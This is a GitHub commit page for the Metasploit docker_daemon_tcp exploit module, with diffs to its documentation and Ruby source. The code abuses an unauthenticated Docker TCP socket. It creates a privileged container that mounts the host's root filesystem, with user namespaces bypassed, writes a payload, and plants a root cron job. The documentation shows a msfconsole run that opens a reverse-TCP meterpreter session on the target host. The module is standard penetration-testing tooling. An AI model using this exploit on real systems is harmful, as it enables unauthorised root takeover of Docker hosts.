Skip to content

Commit 879db5c

Browse files
committed
Land rapid7#9050, @mpizala's improvements to the docker_daemon_tcp module
2 parents 19844fb + 90d6165 commit 879db5c

File tree

2 files changed

+53
-33
lines changed

2 files changed

+53
-33
lines changed

documentation/modules/exploit/linux/http/docker_daemon_tcp.md

Lines changed: 10 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -67,6 +67,8 @@ OK
6767

6868
[Disable][5] or [protect][6] the Docker tcp socket.
6969

70+
[User namespaces][7] did **not** protect against this.
71+
7072
# Exploitation
7173
This module is designed for the attacker to leverage, creation of a
7274
Docker container with out authentication through the Docker tcp socket
@@ -88,8 +90,8 @@ to gain root access to the hosting server of the Docker container.
8890
msf > use exploit/linux/http/docker_daemon_tcp
8991
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
9092
RHOST => 192.168.66.23
91-
msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp
92-
PAYLOAD => python/meterpreter/reverse_tcp
93+
msf exploit(docker_daemon_tcp) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
94+
PAYLOAD => linux/x64/meterpreter/reverse_tcp
9395
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
9496
LHOST => 192.168.66.10
9597
msf exploit(docker_daemon_tcp) > set VERBOSE true
@@ -108,18 +110,17 @@ msf exploit(docker_daemon_tcp) > run
108110
[*] Waiting for the cron job to run, can take up to 60 seconds
109111
[*] Waiting until the docker container stopped
110112
[*] The docker container has been stopped, now trying to remove it
111-
[*] Sending stage (40411 bytes) to 192.168.66.23
113+
[*] Sending stage (2878936 bytes) to 192.168.66.23
112114
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
113115
[+] Deleted /etc/cron.d/lVoepNpy
114116
[+] Deleted /tmp/poasDIuZ
115117
116118
117119
meterpreter > sysinfo
118-
Computer : debian
119-
OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)
120-
Architecture : x64
121-
System Language : en_US
122-
Meterpreter : python/linux
120+
Computer : rancher
121+
OS : Debian 9.1 (Linux 4.9.0-3-amd64)
122+
Architecture : x64
123+
Meterpreter : x64/linux
123124
meterpreter >
124125
```
125126

@@ -129,3 +130,4 @@ meterpreter >
129130
[4]:https://docs.docker.com/engine/admin/systemd/
130131
[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
131132
[6]:https://docs.docker.com/engine/security/https/
133+
[7]:https://docs.docker.com/engine/security/userns-remap/#disable-namespace-remapping-for-a-container

modules/exploits/linux/http/docker_daemon_tcp.rb

Lines changed: 43 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -33,46 +33,53 @@ def initialize(info = {})
3333
],
3434
'DisclosureDate' => 'Jul 25, 2017',
3535
'Targets' => [
36+
[ 'Linux x64', {
37+
'Arch' => ARCH_X64,
38+
'Platform' => 'linux'
39+
}],
3640
[ 'Python', {
37-
'Platform' => 'python',
3841
'Arch' => ARCH_PYTHON,
42+
'Platform' => 'python',
3943
'Payload' => {
4044
'Compat' => {
4145
'ConnectionType' => 'reverse noconn none tunnel'
4246
}
4347
}
4448
}]
4549
],
46-
'DefaultOptions' => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' },
50+
'Payload' => { 'Space' => 65000, 'DisableNops' => true },
51+
'DefaultOptions' => { 'WfsDelay' => 180 },
4752
'DefaultTarget' => 0))
4853

4954
register_options(
5055
[
5156
Opt::RPORT(2375),
52-
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
57+
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
5358
OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
5459
]
5560
)
5661
end
5762

5863
def check_image(image_id)
5964
vprint_status("Check if images exist on the target host")
60-
res = send_request_raw(
65+
res = send_request_cgi(
6166
'method' => 'GET',
62-
'uri' => normalize_uri('images', 'json')
67+
'uri' => normalize_uri('images', 'json'),
68+
'ctype' => 'application/json'
6369
)
64-
return unless res and res.code == 200 and res.body.include? image_id
70+
return unless res && res.code == 200 && res.body.include?(image_id)
6571

6672
res
6773
end
6874

6975
def pull_image(image_id)
7076
print_status("Trying to pulling image from docker registry, this may take a while")
71-
res = send_request_raw(
77+
res = send_request_cgi(
7278
'method' => 'POST',
73-
'uri' => normalize_uri('images', 'create?fromImage=' + image_id)
79+
'uri' => normalize_uri('images', 'create?fromImage=' + image_id),
80+
'ctype' => 'application/json'
7481
)
75-
return unless res.code == 200
82+
return unless res && res.code == 200
7683

7784
res
7885
end
@@ -88,12 +95,17 @@ def make_cmd(mnt_path, cron_path, payload_path)
8895
echo_cron_path = mnt_path + cron_path
8996
echo_payload_path = mnt_path + payload_path
9097

91-
cron_command = "python #{payload_path}"
92-
payload_data = payload.raw
98+
case target
99+
when targets[0] # linux
100+
command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
101+
cron_command = payload_path
102+
when targets[1] # python
103+
command = "echo \"#{payload.raw}\" >> #{echo_payload_path} \&\& "
104+
cron_command = "python #{payload_path}"
105+
end
93106

94-
command = "echo \"#{payload_data}\" >> #{echo_payload_path} && "
95-
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && "
96-
command << "echo \"\" >> #{echo_cron_path} && "
107+
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
108+
command << "echo \"\" >> #{echo_cron_path} \&\& "
97109
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"
98110

99111
command
@@ -108,25 +120,29 @@ def make_container(mnt_path, cron_path, payload_path)
108120
'HostConfig' => {
109121
'Binds' => [
110122
'/:' + mnt_path
111-
]
123+
],
124+
'Privileged' => true,
125+
'UsernsMode' => 'host'
112126
}
113127
}
114128
end
115129

116130
def del_container(container_id)
117-
send_request_raw(
131+
send_request_cgi(
118132
{
119133
'method' => 'DELETE',
120-
'uri' => normalize_uri('containers', container_id)
134+
'uri' => normalize_uri('containers', container_id),
135+
'ctype' => 'application/json'
121136
},
122137
1 # timeout
123138
)
124139
end
125140

126141
def check
127-
res = send_request_raw(
142+
res = send_request_cgi(
128143
'method' => 'GET',
129144
'uri' => normalize_uri('containers', 'json'),
145+
'ctype' => 'application/json',
130146
'headers' => { 'Accept' => 'application/json' }
131147
)
132148

@@ -135,7 +151,7 @@ def check
135151
return Exploit::CheckCode::Unknown
136152
end
137153

138-
if res and res.code == 200 and res.headers['Server'].include? 'Docker'
154+
if res && res.code == 200 && res.headers['Server'].include?('Docker')
139155
return Exploit::CheckCode::Vulnerable
140156
end
141157

@@ -161,10 +177,10 @@ def exploit
161177
container_id = make_container_id
162178

163179
# create container
164-
res_create = send_request_raw(
180+
res_create = send_request_cgi(
165181
'method' => 'POST',
166182
'uri' => normalize_uri('containers', 'create?name=' + container_id),
167-
'headers' => { 'Content-Type' => 'application/json' },
183+
'ctype' => 'application/json',
168184
'data' => make_container(mnt_path, cron_path, payload_path).to_json
169185
)
170186
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201
@@ -173,25 +189,27 @@ def exploit
173189
register_files_for_cleanup(cron_path, payload_path)
174190

175191
# start container
176-
send_request_raw(
192+
send_request_cgi(
177193
{
178194
'method' => 'POST',
179-
'uri' => normalize_uri('containers', container_id, 'start')
195+
'uri' => normalize_uri('containers', container_id, 'start'),
196+
'ctype' => 'application/json'
180197
},
181198
1 # timeout
182199
)
183200

184201
# wait until container stopped
185202
vprint_status("Waiting until the docker container stopped")
186-
res_wait = send_request_raw(
203+
res_wait = send_request_cgi(
187204
'method' => 'POST',
188205
'uri' => normalize_uri('containers', container_id, 'wait'),
206+
'ctype' => 'application/json',
189207
'headers' => { 'Accept' => 'application/json' }
190208
)
191209

192210
# delete container
193211
deleted_container = false
194-
if res_wait.code == 200
212+
if res_wait && res_wait.code == 200
195213
vprint_status("The docker container has been stopped, now trying to remove it")
196214
del_container(container_id)
197215
deleted_container = true

0 commit comments

Comments
 (0)